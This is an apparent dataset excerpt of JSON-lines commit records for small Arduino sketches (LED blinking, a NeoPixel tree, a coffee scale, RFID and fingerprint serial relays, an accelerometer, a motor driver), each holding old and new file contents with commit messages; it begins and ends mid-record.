\n}\n\n\/\/ the loop routine runs over and over again forever as a task.\nvoid loopGreenLed() {\n digitalWrite(LED, HIGH); \/\/ turn the LED on (HIGH is the voltage level)\n delay(500); \/\/ wait for a second\n digitalWrite(LED, LOW); \/\/ turn the LED off by making the voltage LOW\n delay(500); \/\/ wait for a second\n}\n","subject":"Correct typo in setup\/loop tuple","message":"Correct typo in setup\/loop tuple\n","lang":"Arduino","license":"lgpl-2.1","repos":"radiolok\/Energia,vigneshmanix\/Energia,dvdvideo1234\/Energia,battosai30\/Energia,vigneshmanix\/Energia,bobintornado\/Energia,bobintornado\/Energia,DavidUser\/Energia,DavidUser\/Energia,DavidUser\/Energia,battosai30\/Energia,brianonn\/Energia,croberts15\/Energia,dvdvideo1234\/Energia,bobintornado\/Energia,dvdvideo1234\/Energia,croberts15\/Energia,brianonn\/Energia,dvdvideo1234\/Energia,cevatbostancioglu\/Energia,radiolok\/Energia,martianmartin\/Energia,battosai30\/Energia,radiolok\/Energia,NoPinky\/Energia,qtonthat\/Energia,battosai30\/Energia,sanyaade-iot\/Energia,martianmartin\/Energia,NoPinky\/Energia,vigneshmanix\/Energia,sanyaade-iot\/Energia,radiolok\/Energia,sanyaade-iot\/Energia,danielohh\/Energia,DavidUser\/Energia,battosai30\/Energia,danielohh\/Energia,croberts15\/Energia,martianmartin\/Energia,NoPinky\/Energia,vigneshmanix\/Energia,sanyaade-iot\/Energia,brianonn\/Energia,cevatbostancioglu\/Energia,vigneshmanix\/Energia,qtonthat\/Energia,cevatbostancioglu\/Energia,martianmartin\/Energia,bobintornado\/Energia,bobintornado\/Energia,dvdvideo1234\/Energia,bobintornado\/Energia,danielohh\/Energia,cevatbostancioglu\/Energia,brianonn\/Energia,sanyaade-iot\/Energia,qtonthat\/Energia,croberts15\/Energia,battosai30\/Energia,martianmartin\/Energia,croberts15\/Energia,qtonthat\/Energia,cevatbostancioglu\/Energia,radiolok\/Energia,NoPinky\/Energia,danielohh\/Energia,dvdvideo1234\/Energia,battosai30\/Energia,NoPinky\/Energia,radiolok\/Energia,danielohh\/Energia,qtonthat\/Energia,sanyaade-iot\/Energia,radiolok\/Energia,DavidUser\/Energia,dvdvideo1234\/Energia,sanyaade-iot\/Energia,cevatbostancioglu\/Energia,martianmartin\/Energia,DavidUser\/Energia,croberts15\/Energia,qtonthat\/Energia,NoPinky\/Energia,danielohh\/Energia,NoPinky\/Energia,cevatbostancioglu\/Energia,vigneshmanix\/Energia,qtonthat\/Energia,vigneshmanix\/Energia,danielohh\/Energia,bobintornado\/Energia,brianonn\/Energia,croberts15\/Energia,martianmartin\/Energia,DavidUser\/Energia,brianonn\/Energia,brianonn\/Energia"} {"commit":"ace7e3cd5a80de43a43293e754a58452df6b28fe","old_file":"Valokepakko.ino","new_file":"Valokepakko.ino","old_contents":"const int BUTTON_PIN = 12;\nconst int LED_PIN = 13;\n\n\/\/ See https:\/\/www.arduino.cc\/en\/Tutorial\/StateChangeDetection\n\nvoid setup() {\n \/\/ Initialize the button pin as a input.\n pinMode(BUTTON_PIN, INPUT);\n \/\/ initialize the LED as an output.\n pinMode(LED_PIN, OUTPUT);\n \/\/ Initialize serial communication for debugging.\n Serial.begin(9600);\n\n}\n\nint buttonState = 0;\nint lastButtonState = 0;\n\n\nvoid loop() {\n buttonState = digitalRead(BUTTON_PIN);\n\n if (buttonState != lastButtonState) {\n if (buttonState == HIGH) {\n \/\/ If the current state is HIGH then the button\n \/\/ went from off to on:\n Serial.println(\"on\");\n\n \/\/ Light the LED.\n digitalWrite(LED_PIN, HIGH);\n delay(100);\n digitalWrite(LED_PIN, LOW);\n\n } else {\n Serial.println(\"off\");\n }\n \/\/ Delay a little bit to avoid bouncing.\n delay(50);\n }\n lastButtonState = buttonState;\n}","new_contents":"const int BUTTON_PIN = 12;\nconst int LED_PIN = 13;\nconst int PIEZO_PIN = 8;\n\n\/\/ See https:\/\/www.arduino.cc\/en\/Tutorial\/StateChangeDetection\n\nvoid setup() {\n \/\/ Initialize the button pin as a input.\n pinMode(BUTTON_PIN, INPUT);\n \/\/ initialize the LED as an output.\n pinMode(LED_PIN, OUTPUT);\n \/\/ Initialize serial communication for debugging.\n Serial.begin(9600);\n}\n\nint buttonState = 0;\nint lastButtonState = 0;\n\n\nvoid loop() {\n buttonState = digitalRead(BUTTON_PIN);\n\n if (buttonState != lastButtonState) {\n if (buttonState == HIGH) {\n \/\/ If the current state is HIGH then the button\n \/\/ went from off to on:\n Serial.println(\"on\");\n\n } else {\n Serial.println(\"off\");\n }\n }\n lastButtonState = buttonState;\n\n if (buttonState == HIGH) {\n \/\/ Play a tone\n tone(PIEZO_PIN, 200, 20);\n \/\/ Light the LED.\n digitalWrite(LED_PIN, HIGH);\n \/\/ Delay a little bit to avoid bouncing.\n delay(50);\n } else {\n digitalWrite(LED_PIN, LOW);\n }\n}","subject":"Add sound when button is held down","message":"Add sound when button is held down\n","lang":"Arduino","license":"mit","repos":"myrjola\/Valokepakko,myrjola\/Valokepakko,myrjola\/Valokepakko"} {"commit":"4c1facc68f4e3c82de0551e0dcfe173dd95eee45","old_file":"Arduino\/weather-tree.ino","new_file":"Arduino\/weather-tree.ino","old_contents":"#include \"neopixel\/neopixel.h\"\n#include \"RandomPixels.h\"\n\n\n#define PIN 6\n\n\nAdafruit_NeoPixel snowStrip1 = Adafruit_NeoPixel(24, PIN, WS2812);\nRandomPixels snowRing1 = RandomPixels();\n\n\nvoid setup() {\n\n snowStrip1.begin();\n snowStrip1.show();\n randomSeed(analogRead(0));\n\n}\n\n\nvoid loop() {\n\n snowRing1.Animate(snowStrip1, snowStrip1.Color(127, 127, 127), 100);\n\n}\n","new_contents":"#include \"neopixel\/neopixel.h\"\n#include \"RandomPixels.h\"\n\n\nAdafruit_NeoPixel neopixelRingLarge = Adafruit_NeoPixel(24, 6, WS2812);\nRandomPixels ringLarge = RandomPixels();\n\nAdafruit_NeoPixel neopixelRingMedium = Adafruit_NeoPixel(16, 7, WS2812);\nRandomPixels ringMedium = RandomPixels();\n\nAdafruit_NeoPixel neopixelRingSmall = Adafruit_NeoPixel(12, 8, WS2812);\nRandomPixels ringSmall = RandomPixels();\n\n\/\/ This is the pixel on the top...it will be controlled differently: TODO\nAdafruit_NeoPixel neopixelSingle = Adafruit_NeoPixel(1, 9, WS2812);\n\n\nvoid setup() {\n\n neopixelRingLarge.begin();\n neopixelRingLarge.show();\n\n neopixelRingMedium.begin();\n neopixelRingMedium.show();\n\n neopixelRingSmall.begin();\n neopixelRingSmall.show();\n\n neopixelSingle.begin();\n neopixelSingle.show();\n\n randomSeed(analogRead(0));\n\n}\n\n\nvoid loop() {\n\n \/\/ Snow...make this into function that is callable from API: TODO\n ringSmall.Animate(neopixelRingLarge, neopixelRingLarge.Color(127, 127, 127), 100);\n ringMedium.Animate(neopixelRingLarge, neopixelRingLarge.Color(127, 127, 127), 100);\n ringLarge.Animate(neopixelRingLarge, neopixelRingLarge.Color(127, 127, 127), 100);\n\n}\n","subject":"Work on snow animation for three rings of tree","message":"Work on snow animation for three rings of tree\n","lang":"Arduino","license":"mit","repos":"projectweekend\/Spark-Core-Weather-Tree,projectweekend\/Spark-Core-Weather-Tree"} {"commit":"7498a9e8f205b1a006363d8413eeb3996382c25e","old_file":"coffee-scale.ino","new_file":"coffee-scale.ino","old_contents":"#include \n#include \n\n#define DISP_TIMER_CLK 12\n#define DISP_TIMER_DIO 11\n#define DISP_SCALE_CLK 3\n#define DISP_SCALE_DIO 2\n#define SCALE_DT A1\n#define SCALE_SCK A2\n#include \"TimerDisplay.h\"\n#include \"GramsDisplay.h\"\n\n\n#define FILTER_SIZE 10\n\n#define SCALE_FACTOR 1876\n#define SCALE_OFFSET 105193 - 100\n\nTimerDisplay timerDisplay(DISP_TIMER_CLK, DISP_TIMER_DIO);\nGramsDisplay gramsDisplay(DISP_SCALE_CLK, DISP_SCALE_DIO);\nHX711 scale;\nRunningAverage filter(FILTER_SIZE);\nfloat weight_in_grams;\n\n\nvoid setup() {\n \/\/ Serial comm\n Serial.begin(38400);\n\n \/\/ Load cell\n scale.begin(SCALE_DT, SCALE_SCK);\n scale.set_scale(SCALE_FACTOR);\n scale.set_offset(SCALE_OFFSET);\n\n \/\/ Filter\n filter.clear();\n}\n\n\n\nvoid loop() {\n filter.addValue(scale.get_units());\n weight_in_grams = filter.getAverage();\n gramsDisplay.displayGrams(weight_in_grams);\n\n if (weight_in_grams > 1)\n timerDisplay.start();\n else\n timerDisplay.stop();\n\n timerDisplay.refresh();\n}\n","new_contents":"#include \n#include \n\n#include \"TimerDisplay.h\"\n#include \"GramsDisplay.h\"\n\n#define DISP_TIMER_CLK 2\n#define DISP_TIMER_DIO 3\n#define DISP_SCALE_CLK 8\n#define DISP_SCALE_DIO 9\n#define SCALE_DT A2\n#define SCALE_SCK A1\n\n#define FILTER_SIZE 10\n\n#define SCALE_FACTOR 1874\n#define SCALE_OFFSET 984550\n\nTimerDisplay timerDisplay(DISP_TIMER_CLK, DISP_TIMER_DIO);\nGramsDisplay gramsDisplay(DISP_SCALE_CLK, DISP_SCALE_DIO);\nHX711 scale;\nRunningAverage filter(FILTER_SIZE);\nfloat weight_in_grams;\n\n\nvoid setup() {\n \/\/ Serial comm\n Serial.begin(38400);\n\n \/\/ Load cell\n scale.begin(SCALE_DT, SCALE_SCK);\n scale.set_scale(SCALE_FACTOR);\n scale.set_offset(SCALE_OFFSET);\n\n \/\/ Filter\n filter.clear();\n}\n\n\n\nvoid loop() {\n filter.addValue(scale.get_units());\n weight_in_grams = filter.getAverage();\n gramsDisplay.displayGrams(weight_in_grams);\n\n if (weight_in_grams > 1)\n timerDisplay.start();\n else\n timerDisplay.stop();\n\n timerDisplay.refresh();\n}\n","subject":"Update pin numbers and load cell params","message":"Update pin numbers and load cell params\n","lang":"Arduino","license":"mit","repos":"mortenfyhn\/coffee-scales"} {"commit":"7b4a43ccacf7a5a274ed483eb59f9044e9a05e4a","old_file":"simple_photoresistor\/simple_photoresistor.ino","new_file":"simple_photoresistor\/simple_photoresistor.ino","old_contents":"#define thresh 600 \/\/ If our analogRead is less than this we will blink\n\nvoid setup() {\n pinMode(13,OUTPUT); \/\/ On board LED in Arduino Micro is 13\n}\n\nvoid loop() {\n int sensorValue = analogRead(A0); \/\/ read the voltage from the sensor on A0\n Serial.println(sensorValue,DEC); \/\/ print the value\n digitalWrite(13,sensorValue<500); \/\/ Light LED if sensorValue is under thresh, else dark \n delay(1000); \/\/ sleep for 1 second\n}\n","new_contents":"#define thresh 600 \/\/ If our analogRead is less than this we will blink\n\nvoid setup() {\n pinMode(LED_BUILTIN,OUTPUT); \/\/ On board LED in Arduino Micro is 13\n}\n\nvoid loop() {\n int sensorValue = analogRead(A0); \/\/ read the voltage from the sensor on A0\n Serial.println(sensorValue,DEC); \/\/ print the value\n digitalWrite(LED_BUILTIN,sensorValue<500); \/\/ Light LED if sensorValue is under thresh, else dark \n delay(1000); \/\/ sleep for 1 second\n}\n","subject":"Tweak to code so it will use the builtin LED on any board","message":"Tweak to code so it will use the builtin LED on any board\n","lang":"Arduino","license":"mit","repos":"lloydroc\/criticalmaking.arduino"} {"commit":"824649491686d3be67aa115b56c253ccd0071a6b","old_file":"arduino\/thunder\/thunder.ino","new_file":"arduino\/thunder\/thunder.ino","old_contents":"#include \n#ifdef __AVR__\n #include \n#endif\n\n#define NUM_LEDS 300\n#define PIN 7\n#define WHITE 255,255,255\n\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(NUM_LEDS, PIN, NEO_GRB + NEO_KHZ800);\n\nint lighting_style = 0;\nint intensity = 0;\nuint8_t index = 0;\n\nvoid setup() {\n Serial.begin(9600);\n strip.begin();\n strip.show();\n randomSeed(analogRead(0));\n}\n\nvoid loop() {\n if (Serial.available() > 1) {\n lighting_style = Serial.read();\n intensity = Serial.read();\n\n if(intensity == 0){\n index = random(300);\n }\n\n strip.setPixelColor(index, strip.Color(255,255,255));\n strip.setBrightness(intensity);\n strip.show();\n\n \n Serial.print(\"Index: \");\n Serial.print(index);\n Serial.print(\" Intensity:\");\n Serial.println(intensity);\n\n \n }\n}\n","new_contents":"#include \n#ifdef __AVR__\n #include \n#endif\n\n#define NUM_LEDS 300\n#define PIN 7\n#define WHITE 255,255,255\n\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(NUM_LEDS, PIN, NEO_GRB + NEO_KHZ800);\n\nuint8_t intensity = 0;\nuint8_t index = 0;\n\nvoid setup() {\n Serial.begin(9600);\n strip.begin();\n strip.show();\n randomSeed(analogRead(0));\n}\n\nvoid loop() {\n if (Serial.available() > 0) {\n intensity = Serial.read();\n\n if(intensity == 0){\n index = random(294)+3;\n }\n\n \n strip.setPixelColor(index, strip.Color(255,255,255));\n strip.setPixelColor(index+1, strip.Color(255,255,255));\n strip.setPixelColor(index+2, strip.Color(255,255,255));\n\n strip.setBrightness(intensity);\n strip.show();\n\/\/ Serial.println(index);\n }\n}\n","subject":"Update arduino code to light 3 pixels at a time.","message":"Update arduino code to light 3 pixels at a time.\n","lang":"Arduino","license":"apache-2.0","repos":"feanil\/thunder-lights,feanil\/thunder-lights,feanil\/thunder-lights"} {"commit":"10e9a7a689cb7c5847081c6a757d940e06901687","old_file":"firmware\/robot_firmware\/robot_firmware.ino","new_file":"firmware\/robot_firmware\/robot_firmware.ino","old_contents":"#include \n#include \n#include \n#include \n#include \n\nvoid setup(void) {\n Serial.begin(115200);\n \n Radio::Setup();\n Motor::Setup();\n Encoder::Setup();\n Control::acc = 0;\n}\n\nvoid loop(){\n Control::stand();\n}\n","new_contents":"#define robot_number 1 \/\/Define qual robô esta sendo configurado\n#include \n#include \n#include \n#include \n#include \n\nvoid setup(void) {\n Serial.begin(115200);\n \n Radio::Setup();\n Motor::Setup();\n Encoder::Setup();\n Control::acc = 0;\n}\n\nvoid loop(){\n Control::stand();\n}\n","subject":"Facilitate how to define which robot is being configured, on .ino now.","message":"Facilitate how to define which robot is being configured, on .ino now.\n","lang":"Arduino","license":"mit","repos":"unball\/ieee-very-small,unball\/ieee-very-small,unball\/ieee-very-small,unball\/ieee-very-small"} {"commit":"fc737ab2f39988758a38b65f2aa94b3a27838454","old_file":"soundSynth.ino","new_file":"soundSynth.ino","old_contents":"void setup() {\n \/\/ put your setup code here, to run once:\n\n pinMode(2, INPUT);\n pinMode(3, INPUT);\n pinMode(4, INPUT);\n pinMode(5, INPUT);\n pinMode(6, INPUT);\n\n pinMode(13, OUTPUT);\n\n\n}\n\n\n\nvoid loop() {\n \n int len = 500;\n int t1 = 220;\n int t2 = 246.94;\n int t3 = 277.18;\n int t4 = 293.66;\n int t5 = 329.63;\n \n if (digitalRead(2) == HIGH) {\n tone(13, t1);\n delay(len);\n noTone(13);\n\n\n }\n\n if (digitalRead(3) == HIGH) {\n tone(13, t2);\n delay(len);\n noTone(13);\n\n\n }\n if (digitalRead(4) == HIGH) {\n tone(13, t3);\n delay(len);\n noTone(13);\n\n\n }\n if (digitalRead(5) == HIGH) {\n tone(13, t4);\n delay(len);\n noTone(13);\n\n\n }\n if (digitalRead(6) == HIGH) {\n tone(13, t5);\n delay(len);\n noTone(13);\n\n\n\n\n}\n}\n","new_contents":"void setup() {\n \/\/ put your setup code here, to run once:\n\n pinMode(2, INPUT);\n pinMode(3, INPUT);\n pinMode(4, INPUT);\n pinMode(5, INPUT);\n pinMode(6, INPUT);\n\n pinMode(13, OUTPUT);\n\n\n}\n\n\n\nvoid loop() {\n \n int len = 500;\n float t1 = 220;\n float t2 = 246.94;\n float t3 = 277.18;\n float t4 = 293.66;\n float t5 = 329.63;\n \n if (digitalRead(2) == HIGH) {\n tone(13, t1);\n delay(len);\n noTone(13);\n\n\n }\n\n if (digitalRead(3) == HIGH) {\n tone(13, t2);\n delay(len);\n noTone(13);\n\n\n }\n if (digitalRead(4) == HIGH) {\n tone(13, t3);\n delay(len);\n noTone(13);\n\n\n }\n if (digitalRead(5) == HIGH) {\n tone(13, t4);\n delay(len);\n noTone(13);\n\n\n }\n if (digitalRead(6) == HIGH) {\n tone(13, t5);\n delay(len);\n noTone(13);\n\n\n\n\n}\n}\n","subject":"Change t* vars from ints to floats","message":"Change t* vars from ints to floats","lang":"Arduino","license":"apache-2.0","repos":"jack-the-coder\/soundSynth"} {"commit":"43339af184d6f9471ffaa36e11d30012b9f37db8","old_file":"firmware\/examples\/RFID_UART.ino","new_file":"firmware\/examples\/RFID_UART.ino","old_contents":"\/\/ RFID_UART.ino\n\n#if defined (SPARK)\n#include \"SeeedRFID\/SeeedRFID.h\"\n#else\n#include \n#include \n#endif\n\n#define RFID_RX_PIN 10\n#define RFID_TX_PIN 11\n\n\/\/ #define DEBUGRFID\n#define TEST\n\nSeeedRFID RFID(RFID_RX_PIN, RFID_TX_PIN);\nRFIDdata tag;\n\nvoid setup() {\n\tSerial1.begin(9600);\t\/\/Done here to prevent SeeedRFID constructor system crash\n\t\n\tSerial.begin(57600);\n\tSerial.println(\"Hello, double bk!\");\n}\n\nvoid loop() { \n\tif(RFID.isAvailable()){\n\t\ttag = RFID.data();\n\t\tSerial.print(\"RFID card number: \");\n\t\tSerial.println(RFID.cardNumber());\n#ifdef TEST\n\tSerial.print(\"RFID raw data: \");\n\tfor(int i=0; i\n#include \n#endif\n\n#define RFID_RX_PIN 10\n#define RFID_TX_PIN 11\n\n\/\/ #define DEBUGRFID\n#define TEST\n\nSeeedRFID RFID(RFID_RX_PIN, RFID_TX_PIN);\nRFIDdata tag;\n\nvoid setup() {\n\tSerial1.begin(9600);\t\/\/Done here to prevent SeeedRFID constructor system crash\n\t\n\tSerial.begin(57600);\n\tSerial.println(\"Hello, double bk!\");\n}\n\nvoid loop() { \n\tif(RFID.isAvailable()){\n\t\ttag = RFID.data();\n\t\tSerial.print(\"RFID card number: \");\n\t\tSerial.println(RFID.cardNumber());\n#ifdef TEST\n\tSerial.print(\"RFID raw data: \");\n\tfor(int i=0; i\n\nconst int TEMPERATURE_INTERVAL = 300;\n\nunsigned long lastTemperatureSent = 0;\n\nHomieNode temperatureNode(\"temperature\", \"temperature\");\n\nvoid setupHandler() {\n Homie.setNodeProperty(temperatureNode, \"unit\", \"c\", true);\n}\n\nvoid loopHandler() {\n if (millis() - lastTemperatureSent >= TEMPERATURE_INTERVAL * 1000UL || lastTemperatureSent == 0) {\n float temperature = 22; \/\/ Fake temperature here, for the example\n Serial.print(\"Temperature: \");\n Serial.print(temperature);\n Serial.println(\" °C\");\n if (Homie.setNodeProperty(temperatureNode, \"temperature\", String(temperature), true)) {\n lastTemperatureSent = millis();\n } else {\n Serial.println(\"Sending failed\");\n }\n }\n}\n\nvoid setup() {\n Homie.setFirmware(\"awesome-temperature\", \"1.0.0\");\n Homie.registerNode(temperatureNode);\n Homie.setSetupFunction(setupHandler);\n Homie.setLoopFunction(loopHandler);\n Homie.setup();\n}\n\nvoid loop() {\n Homie.loop();\n}\n","new_contents":"#include \n\nconst int TEMPERATURE_INTERVAL = 300;\n\nunsigned long lastTemperatureSent = 0;\n\nHomieNode temperatureNode(\"temperature\", \"temperature\");\n\nvoid setupHandler() {\n Homie.setNodeProperty(temperatureNode, \"unit\", \"c\", true);\n}\n\nvoid loopHandler() {\n if (millis() - lastTemperatureSent >= TEMPERATURE_INTERVAL * 1000UL || lastTemperatureSent == 0) {\n float temperature = 22; \/\/ Fake temperature here, for the example\n Serial.print(\"Temperature: \");\n Serial.print(temperature);\n Serial.println(\" °C\");\n if (Homie.setNodeProperty(temperatureNode, \"degrees\", String(temperature), true)) {\n lastTemperatureSent = millis();\n } else {\n Serial.println(\"Temperature sending failed\");\n }\n }\n}\n\nvoid setup() {\n Homie.setFirmware(\"awesome-temperature\", \"1.0.0\");\n Homie.registerNode(temperatureNode);\n Homie.setSetupFunction(setupHandler);\n Homie.setLoopFunction(loopHandler);\n Homie.setup();\n}\n\nvoid loop() {\n Homie.loop();\n}\n","subject":"Update temperature example with more semantic topic","message":"Update temperature example with more semantic topic\n","lang":"Arduino","license":"mit","repos":"euphi\/homie-esp8266,euphi\/homie-esp8266,euphi\/homie-esp8266,marvinroger\/homie-esp8266,marvinroger\/homie-esp8266,marvinroger\/homie-esp8266,marvinroger\/homie-esp8266,euphi\/homie-esp8266"} {"commit":"46277415a9615588869e0f25defbbafb17992305","old_file":"brotherKH930_arduino.ino","new_file":"brotherKH930_arduino.ino","old_contents":"#include \"brotherKH930.h\"\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\n}\n","new_contents":"#include \"brotherKH930.h\"\n\nPinSetup pins = kniticV2Pins();\nBrotherKH930 brother(pins);\n\nvoid setup() {\n Serial.begin(115200);\n Serial.println(\"Ready.\");\n}\n\nvoid loop() {\n Direction dir = brother.direction();\n int pos = brother.position();\n\n Serial.print(\"@\");\n Serial.print(pos);\n Serial.print(\" \");\n if (dir == LEFT) Serial.print(\"<-\");\n else Serial.print(\"->\");\n Serial.println();\n}\n","subject":"Add main to test the position logic.","message":"Add main to test the position logic.\n","lang":"Arduino","license":"apache-2.0","repos":"msiegenthaler\/brotherKH930_arduino"} {"commit":"11e1914666d6fdc666e167c4dfecc9914910bf73","old_file":"src\/tests\/unit\/cpp_wrapper\/cpp_wrapper.ino","new_file":"src\/tests\/unit\/cpp_wrapper\/cpp_wrapper.ino","old_contents":"#include \n#include \"test_cpp_wrapper.h\"\n\nvoid\nsetup(\n)\n{\n Serial.begin(BAUD_RATE);\n runalltests_cpp_wrapper();\n}\n\nvoid\nloop(\n)\n{\n\n}","new_contents":"#include \n#include \n#include \n#include \"test_cpp_wrapper.h\"\n\nvoid\nsetup(\n)\n{\n SPI.begin();\n SD.begin(SD_CS_PIN);\n Serial.begin(BAUD_RATE);\n runalltests_cpp_wrapper();\n}\n\nvoid\nloop(\n)\n{\n\n}","subject":"Fix missing SD begin in C++ Wrapper test","message":"Fix missing SD begin in C++ Wrapper test\n","lang":"Arduino","license":"bsd-3-clause","repos":"iondbproject\/iondb,iondbproject\/iondb"} {"commit":"b9d1e45eddeae0dfb56b172480967c8c4b4d1f42","old_file":"btnLed\/src\/sketch.ino","new_file":"btnLed\/src\/sketch.ino","old_contents":"\/*\n btnLed sketch\n Push a button to turn on a LED.\n Push the button again to turn the LED off.\n\n *******\n Do not connect more than 5 volts directly to an Arduino pin!!\n *******\n*\/\n\n#define pushbuttonPIN 2\n#define onoffPIN 3\n\nvolatile int flag = LOW;\nunsigned long timestamp = 0;\n\nvoid setup()\n{\n pinMode(onoffPIN, OUTPUT); \/\/ An LED to signal on or off state\n attachInterrupt(0, interrupt, HIGH); \/\/ Interrupt when button is pressed\n}\n\nvoid interrupt()\n{\n \/\/ Only change the flag if more than 1000 ms has passed since previous IRQ\n \/\/ to handle debouncing-effect.\n if ( (unsigned long)(millis() - timestamp) > 1000 )\n {\n flag = !flag;\n timestamp = millis();\n }\n}\n\nvoid loop()\n{\n digitalWrite(onoffPIN, flag);\n}\n","new_contents":"\/*\n btnLed sketch\n Push a button to turn on a LED.\n Push the button again to turn the LED off.\n\n *******\n Do not connect more than 5 volts directly to an Arduino pin!!\n *******\n*\/\n\n#define pushbuttonPIN 2\n#define onoffLED 3\n\nvolatile int flag = LOW;\nunsigned long timestamp = 0;\n\nvoid setup()\n{\n pinMode(onoffLED, OUTPUT); \/\/ An LED to signal on or off state\n attachInterrupt(0, interrupt, HIGH); \/\/ Interrupt when button is pressed\n}\n\nvoid interrupt()\n{\n \/\/ Only change the flag if more than 1000 ms has passed since previous IRQ\n \/\/ to handle debouncing-effect.\n if ( (unsigned long)(millis() - timestamp) > 1000 )\n {\n flag = !flag;\n timestamp = millis();\n }\n}\n\nvoid loop()\n{\n digitalWrite(onoffLED, flag);\n}\n","subject":"Use LED iso PIN to avoid confusion","message":"Use LED iso PIN to avoid confusion\n","lang":"Arduino","license":"mit","repos":"Mausy5043\/arduino,Mausy5043\/arduino,Mausy5043\/arduino,Mausy5043\/arduino"} {"commit":"b687f248496c1c88565fe6578236e1c158c1a941","old_file":"examples\/EntropySeed\/EntropySeed.ino","new_file":"examples\/EntropySeed\/EntropySeed.ino","old_contents":"\/*\n ArcFour Entropy Seeding Demo\n \n created 10 Jun 2014\n by Pascal de Bruijn\n \n *\/\n\n#include \n#include \n\nArcFour ArcFour;\n\nint ledPin = 13;\n\nvoid setup()\n{\n Serial.begin(9600);\n while (!Serial)\n {\n ; \/\/ wait for serial port to connect. Needed for Leonardo and Due\n }\n \n Entropy.Initialize();\n \n ArcFour.initialize();\n \n for (int i = 0; i < ARCFOUR_MAX; i++)\n {\n if (i \/ 4 % 2)\n digitalWrite(ledPin, LOW);\n else\n digitalWrite(ledPin, HIGH);\n \n ArcFour.seed(i, Entropy.random(WDT_RETURN_BYTE));\n }\n \n ArcFour.finalize();\n \n for (int i = 0; i < ARCFOUR_MAX; i++)\n {\n ArcFour.random();\n }\n \n digitalWrite(ledPin, HIGH);\n}\n\nvoid loop()\n{\n Serial.println(ArcFour.random());\n delay(1000);\n}\n\n","new_contents":"\/*\n ArcFour Entropy Seeding Demo\n \n created 10 Jun 2014\n by Pascal de Bruijn\n \n *\/\n\n#include \n#include \n\nArcFour ArcFour;\n\nint ledPin = 13;\n\nvoid setup()\n{\n Serial.begin(9600);\n while (!Serial)\n {\n ; \/\/ wait for serial port to connect. Needed for Leonardo and Due\n }\n \n Entropy.initialize();\n \n ArcFour.initialize();\n \n for (int i = 0; i < ARCFOUR_MAX; i++)\n {\n if (i \/ 4 % 2)\n digitalWrite(ledPin, LOW);\n else\n digitalWrite(ledPin, HIGH);\n \n ArcFour.seed(i, Entropy.random(WDT_RETURN_BYTE));\n }\n \n ArcFour.finalize();\n \n for (int i = 0; i < ARCFOUR_MAX; i++)\n {\n ArcFour.random();\n }\n \n digitalWrite(ledPin, HIGH);\n}\n\nvoid loop()\n{\n Serial.println(ArcFour.random());\n delay(1000);\n}\n\n","subject":"Update for new Entropy API","message":"Update for new Entropy API\n","lang":"Arduino","license":"mit","repos":"pmjdebruijn\/Arduino-ArcFour-Library"} {"commit":"d886b5f6be5becb11448fbd39b7ce9c5a14ad47a","old_file":"firmware\/examples\/blank\/blank.ino","new_file":"firmware\/examples\/blank\/blank.ino","old_contents":"\/\/ This program allows the Spark to act as a relay\n\/\/ between a terminal program on a PC and the\n\/\/ Fingerprint sensor connected to RX\/TX (Serial1)\n\/\/ on the Spark\n\nvoid setup() {\n \/\/ initialize both serial ports:\n Serial.begin(57600);\n Serial1.begin(57600);\n}\n\nvoid loop() {\n \/\/ read from Serial1 (Fingerprint reader), send to Serial (USB to PC)\n if (Serial1.available()) {\n int inByte = Serial1.read();\n Serial.write(inByte);\n }\n\n \/\/ read from Serial (USB to PC), send to Serial1 (Fingerprint reader)\n if (Serial.available()) {\n int inByte = Serial.read();\n Serial1.write(inByte);\n }\n}","new_contents":"\/\/ This program allows the Spark to act as a relay\n\/\/ between a terminal program on a PC and the\n\/\/ Fingerprint sensor connected to RX\/TX (Serial1)\n\/\/ on the Spark\n\nvoid setup() \n{\n \/\/ Open serial communications and wait for port to open:\n Serial.begin(57600);\n Serial1.begin(57600);\n\n}\n\nvoid loop() \/\/ run over and over\n{\n while (Serial1.available())\n Serial.write(Serial1.read());\n\n while (Serial.available())\n Serial1.write(Serial.read());\n}\n","subject":"Update to tested and working code","message":"Update to tested and working code","lang":"Arduino","license":"bsd-3-clause","repos":"pkourany\/Adafruit_Fingerprint_Library"} {"commit":"506fae7cc380543e9c0d4c31010d97dd78cd8d9c","old_file":"Arduino\/Arduino101_Accelerometer\/Arduino101_Accelerometer.ino","new_file":"Arduino\/Arduino101_Accelerometer\/Arduino101_Accelerometer.ino","old_contents":"#include \"CurieImu.h\"\n\nint16_t ax, ay, az;\n\nvoid setup() {\n Serial.begin(9600);\n while (!Serial);\n\n CurieImu.initialize();\n\n if (!CurieImu.testConnection()) {\n Serial.println(\"CurieImu connection failed\");\n }\n\n CurieImu.setFullScaleAccelRange(BMI160_ACCEL_RANGE_8G);\n}\n\nvoid loop() {\n CurieImu.getAcceleration(&ax, &ay, &az);\n Serial.print(ax);\n Serial.print(\"\\t\");\n Serial.print(ay);\n Serial.print(\"\\t\");\n Serial.print(az);\n Serial.println();\n}\n","new_contents":"#include \"CurieIMU.h\"\n\nint ax, ay, az;\n\nvoid setup() {\n Serial.begin(9600);\n while (!Serial);\n\n CurieIMU.begin();\n\n if (!CurieIMU.testConnection()) {\n Serial.println(\"CurieImu connection failed\");\n }\n\n CurieIMU.setAccelerometerRange(8);\n}\n\nvoid loop() {\n CurieIMU.readAccelerometer(ax, ay, az);\n Serial.print(ax);\n Serial.print(\"\\t\");\n Serial.print(ay);\n Serial.print(\"\\t\");\n Serial.print(az);\n Serial.println();\n}\n","subject":"Use Arduino101 CurieIMU new APIs.","message":"Use Arduino101 CurieIMU new APIs.\n","lang":"Arduino","license":"bsd-3-clause","repos":"damellis\/ESP,damellis\/ESP"} {"commit":"ca04db2843e46e273a94ee37c7100580f009a1b4","old_file":"firmware\/src\/sampler.ino","new_file":"firmware\/src\/sampler.ino","old_contents":"#include \n\n#include \"config.h\"\n#include \n\nDcMotor xMotor(X_AXIS_PWM, X_AXIS_FWD, X_AXIS_REV),\n yMotor(Y_AXIS_PWM, Y_AXIS_FWD, Y_AXIS_REV),\n zMotor(Z_AXIS_PWM, Z_AXIS_FWD, Z_AXIS_REV);\n\n\nvoid setup() {\n Serial.begin(BAUDRATE);\n xMotor.begin();\n yMotor.begin();\n zMotor.begin();\n}\n\nvoid loop() {\n}\n","new_contents":"#include \n\n#include \"config.h\"\n#include \n\nDcMotor xMotor(X_AXIS_PWM, X_AXIS_FWD, 